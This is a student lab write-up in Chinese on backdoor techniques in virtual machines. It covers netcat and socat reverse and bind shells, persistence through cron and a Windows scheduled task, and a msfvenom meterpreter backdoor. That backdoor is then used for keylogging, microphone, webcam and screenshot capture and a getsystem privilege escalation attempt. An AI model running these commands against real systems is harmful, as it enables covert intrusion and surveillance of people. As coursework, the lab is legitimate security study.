准备工作:
使用 ipconfig 查看win7虚拟机IP地址为:192.168.236.130
使用 ipconfig 查看linux虚拟机IP地址为:192.168.236.131
实验内容
一、使用nc或netcat远程获取shell
(1)win获得Linux shell
1.windows打开监听
进入文件夹
cd netcat
开始监听
ncat.exe -l -p 4309
这里的 -l 是监听模式,-p是选择监听的端口。
2. Linux反弹连接win
nc 192.168.236.130 4309 -e /bin/sh
3.windows下获得一个linux shell,可运行任何cmd指令,如ls
(2) Linux获得Win Shell
1.Linux运行监听指令
nc -l -p 4309
2.Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.236.131 4309
3.Linux下看到Windows的命令提示
可以发现,linux端获得了win的shell
(3) nc传输数据
1.在win端对4309端口进行监听
ncat.exe -l -p 4309
2.linux端连接到win端4309端口
nc 192.168.236.130 4309
3.传输通道建立,可以传输文字信息了
二、使用netcat获取主机操作Shell,cron启动
1.在Win端进行监听
ncat.exe -l -p 4309
2.使用crontab指令增加一条定时任务
crontab-e
crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行,"-e"表示编辑
3.添加指令令其定时反向连接
在最后添加一条定时连接win端口的指令
56 * * * * /bin/netcat 192.168.236.130 4309 -e /bin/sh
表示每小时的第56分钟连接IP为192.168.236.130的主机(即虚拟机win7端)的4309端口,具体时间可以自行设定,我这里为了方便选择了两分钟之后的时间
稍等片刻,发现成功获取win端的shell
三、使用socat获取主机操作Shell, 任务计划启动
1.新建一个能运行socat的任务
①搜索任务计划程序,点击进入
②点击右侧操作里的创建任务,并命名为“20164309 socat”
③新建触发器,设定为在锁定时触发
③新建操作,选定目标程序路径,并且添加参数:
tcp-listen:4309 exec:cmd.exe,pty,stderr
这个命令可以将cmd.exe绑定到4309端口,并且将cmd.exe的stderr重定向到stdout上
我们可以看到,创建任务成功
2.触发任务,使其运行
使用Windows+l锁定主机后,再解锁,发现程序已经运行
3.获取shell
socat - tcp:192.168.236.130:4309
这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4309端口。
在实现的时候我出现了一个问题:在tcp后多打了一个空格,卡了很久,不过好在成功了,大家引以为戒。
修改后发现已经成功获取cmd Shell:
四、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.生成后门
在linux端使用msfvenom工具,生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.194 LPORT=4309 -f exe > 20164309_backdoor.exe 192.168.236.131
其中-p 使用的payload,为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.LHOST是反弹回连的IP,即攻击机linux的IP地址,LPORT是回连的端口,-f是生成文件的类型, >输出到哪个文件
由于一开始没有充分理解这里的ip地址的意义,我使用了被攻击win端的地址,导致在之后使用后门的时候屡屡失败。经过理解我发现这里的ip是被攻击主机需要连接的地址,即为攻击机linux端的地址。
2. 使用nc进行文件传输
需要在win端关闭杀软和防火墙的条件下进行
①在win端进行监听
ncat.exe -lv 4309 > 20164309_backdoor.exe
其中-lv表示可以观察到连接状态
②在linux端传输文件
nc 192.168.236.130 4309 < 20164309_backdoor.exe发送文件
在win端命令行显示传输成功
的确传输成功了
3.在msf端控制台设置反弹回连
输入
msfconsole
进入控制台(之后由于实验屡次失败我进入了这个界面不知道多少次。。。幸亏这里有一个小彩蛋,每次进入的界面大都和之前不一样,也算是苦中作乐了吧)
use exploit/multi/handler
设置payload
set payload windows/meterpreter/reverse_tcp
使用生成后门程序时相同的payload
set LHOST 192.168.236.131
这里需要与生成后门程序的主机IP相同
set LPORT 4309
需要使用相同的端口
show options
显示选项
exploit
进行监听
屡次尝试,在纠正了刚刚说的那个错误后在win端运行了正确的后门
发现可以调用win端shell
五、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
还有很多功能可以使用,我们一个一个试试吧
1.使用screenshot
进行截屏,截屏得文件nQebvnBz.jpeg
2.使用keyscan_start
指令开始记录下击键的过程,乱输一通试试:
成功记录
3.使用record_mic
指令截获一段音频,文件名为qbucCKSm.wav
4.或者使用webcam_snap进行拍。。等等,为什么失败了
发现无法进行拍照,看看排除一下原因,发现:
貌似虚拟机无法调用内置摄像头
上网查查有什么解决的方法
???现在去买一个外置摄像头也来不及了,忍痛割爱在自己主机上试试吧。。。
按部就班地进行试验:
查得ip地址为:192.168.6.194
传输后门
在linux准备就绪后运行后门
发现可以拍照了,那多拍几张选一张看得出生理特征的(比如眼镜(???)),就决定是你了:hAcbeMwj,jpeg
5.继续实验尝试提权
输入getuid查看权限分组
输入getsystem进行提权
发现在提权时遇到了一些问题,无法提权
有可能是win10账号是管理员权限?那我再在win7虚拟机上尝试一下普通用户
还是失败
再试试win7的管理员账号
意想不到的是竟然成功了,希望大神们能帮忙解释一下原理
基础问题解答:
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
记得很久以前的三一五晚会曝光了一些手机APP擅自添加后门,导致巨大的财产损失的案例,那时候智能手机方兴未艾,人们的安全意识也相对薄弱,但是现在这样的事情还真实地发生在我们身边;还有一些钓鱼网站会诱导我们点击下载一些后门程序,一旦程序运行就成了人为刀俎我为鱼肉的情形了。
(2) 例举你知道的后门如何启动起来(win及linux)的方式?
后门可能会伪装成正常的程序或软件,诱导用户使用,来获取你的权限。
(3) Meterpreter有哪些给你映像深刻的功能?
远程拍照功能。在之前bm管理概论的课程中我阅读了《无处可藏》这本书,有一段令我印象深刻的细节是斯诺登笔记本电脑的摄像头用胶带封住了,当时我还认为杞人忧天了,但是没有想到这种技术门槛这么低。
(4)如何发现自己有系统有没有被安装后门?
对于我们来说最好的办法就是经常性的杀毒、及时更新系统、病毒库以查找后门。在实验中我还发现在进行远程照相的时候我摄像头旁边的呼吸灯闪了一下,如果现实生活中遇到这种情况务必要注意了
实验心得:
这次实验最大的收获就是明白了细节决定成败。由于自己的粗心马虎,这次实验几乎花了我两个晚上才完成,每一步都要遇到一些或多或少地小问题。甚至一开始为了不注册码云账号没有使用老师的ncet而去网上下载了一个,导致在传输文件的时候出现问题;还有输入socat命令的时候多打了一个空格,也导致无法顺利调用shell;甚至在写实验报告的时候发现缺少关键的截图而回过头来临时做临时截的。在今后的实验和学习乃至工作中,我一定要戒骄戒躁,时刻关注细节,才能高质量地完成任务。